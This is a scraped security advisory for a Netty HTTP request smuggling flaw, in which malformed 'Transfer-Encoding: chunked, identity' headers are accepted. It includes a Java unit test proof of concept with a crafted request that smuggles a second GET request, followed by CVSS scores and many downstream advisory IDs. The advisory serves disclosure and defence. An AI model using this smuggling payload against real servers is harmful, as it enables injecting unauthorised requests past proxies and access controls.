CVE-2026-42585
ADVISORY - githubSummary
Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Common Weakness Enumeration (CWE)
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
NIST
3.9
CVSS SCORE
6.5mediumGitHub
3.9
CVSS SCORE
6.5mediumDebian
-
Ubuntu
3.9
CVSS SCORE
7.5mediumChainguard
CGA-m3fc-qm88-5647
-
minimos
MINI-274v-rvjv-385p
-
minimos
MINI-2pwr-w2cr-mmx6
-
minimos
MINI-329j-rq8g-hfhf
-
minimos
MINI-35rx-rfc5-p448
-
minimos
MINI-38c4-cvq8-qxf7
-
minimos
MINI-3f85-v3px-6229
-
minimos
MINI-3m27-j8hg-x9cc
-
minimos
MINI-3v9c-4966-v258
-
minimos
MINI-3vqm-cv82-xrrf
-
minimos
MINI-45q3-whjp-72xc
-
minimos
MINI-4g8f-r7fj-9c99
-
minimos
MINI-4h3h-4hf7-pgf2
-
minimos
MINI-4m9v-5cx7-w9xw
-
minimos
MINI-4pmm-7jww-qfv5
-
minimos
MINI-4rmp-46xw-fq5j
-
minimos
MINI-4vmj-8mp3-mpw7
-
minimos
MINI-55fw-53pr-627f
-
minimos
MINI-5j7c-7rqg-82jm
-
minimos
MINI-6hvq-c7pp-36fr
-
minimos
MINI-6jwj-gw8w-4j4m
-
minimos
MINI-6m25-pvjj-ffpw
-
minimos
MINI-6r7j-2hg8-g3vw
-
minimos
MINI-6wwf-2467-pfgj
-
minimos
MINI-6x6v-2rh2-v445
-
minimos
MINI-754g-722h-xcjg
-
minimos
MINI-778x-wpj9-436p
-
minimos
MINI-7gcj-55p5-648x
-
minimos
MINI-86cm-2gr9-r3gm
-
minimos
MINI-86p3-653f-4mm7
-
minimos
MINI-8ch9-vf5f-gvw9
-
minimos
MINI-9f4c-27p8-cw6x
-
minimos
MINI-9rfx-2r68-qjvc
-
minimos
MINI-9xcq-vgp4-78g2
-
minimos
MINI-c3r2-ff98-6655
-
minimos
MINI-c4wf-p2qg-vhgv
-
minimos
MINI-c6g8-7hj5-8626
-
minimos
MINI-c7r5-p7vw-x7fq
-
minimos
MINI-c9gc-9xqg-6mvc
-
minimos
MINI-c9rp-j7rr-qfrg
-
minimos
MINI-ch25-ghq7-w783
-
minimos
MINI-ch46-pj44-fr37
-
minimos
MINI-cp3g-qcrp-w73w
-
minimos
MINI-cq5w-v252-pgmg
-
minimos
MINI-cq7x-hr3w-pgrm
-
minimos
MINI-cqpx-r5v2-ggwm
-
minimos
MINI-crv5-p8xf-j2q7
-
minimos
MINI-f4rq-6rq4-4frf
-
minimos
MINI-f6fj-gvmq-3r7w
-
minimos
MINI-fm6w-6j82-3xjg
-
minimos
MINI-fw25-625f-7889
-
minimos
MINI-g73j-8vr7-8v6x
-
minimos
MINI-g74c-8v4g-vg2x
-
minimos
MINI-h68w-88g5-6c27
-
minimos
MINI-h8hr-9448-p25f
-
minimos
MINI-h922-mxw3-cwmv
-
minimos
MINI-hpw9-w3x8-rmj3
-
minimos
MINI-hv8m-qx62-m74h
-
minimos
MINI-hw34-6964-w983
-
minimos
MINI-j7gc-7qx3-8wwm
-
minimos
MINI-j7h8-962f-hcvr
-
minimos
MINI-jfh2-p63q-jwp6
-
minimos
MINI-jhq4-px32-vfvw
-
minimos
MINI-jj38-r8c3-jxqh
-
minimos
MINI-m67q-jgh8-mx24
-
minimos
MINI-mq99-ch47-vgfc
-
minimos
MINI-p7hg-f43r-cx2x
-
minimos
MINI-ph9m-pmrp-jg27
-
minimos
MINI-pxx3-v887-jcr3
-
minimos
MINI-qmvq-74mh-47mx
-
minimos
MINI-qq7x-mw6f-cx2x
-
minimos
MINI-r2ch-vc5r-phpx
-
minimos
MINI-rfgr-8hwp-376m
-
minimos
MINI-rh28-cp32-j889
-
minimos
MINI-rprg-6crx-mpqm
-
minimos
MINI-rv4m-vxv3-hmfq
-
minimos
MINI-v4mm-3928-xphj
-
minimos
MINI-v5gc-ghxx-ccr8
-
minimos
MINI-v6mr-rvx2-625v
-
minimos
MINI-vc68-h479-fcqx
-
minimos
MINI-vmc2-wfhh-4cfw
-
minimos
MINI-vvhx-wvxj-pwvm
-
minimos
MINI-vwcx-v68c-m34g
-
minimos
MINI-vxfr-p27c-9342
-
minimos
MINI-wp4c-ccv8-j8pv
-
minimos
MINI-wpv2-vq56-82m7
-
minimos
MINI-ww48-rcg6-7qvv
-
minimos
MINI-wwm8-f8wq-cx6q
-
minimos
MINI-x2h9-5q8p-7pr2
-
minimos
MINI-x5vr-3cg8-wwqm
-
minimos
MINI-x6hh-f2pp-jq43
-
minimos
MINI-xcph-7987-f839
-
minimos
MINI-xrm4-8ww9-mhw3
-
minimos
MINI-xrwr-w9wj-2v98
-
minimos
MINI-xv7q-7379-6p4h
-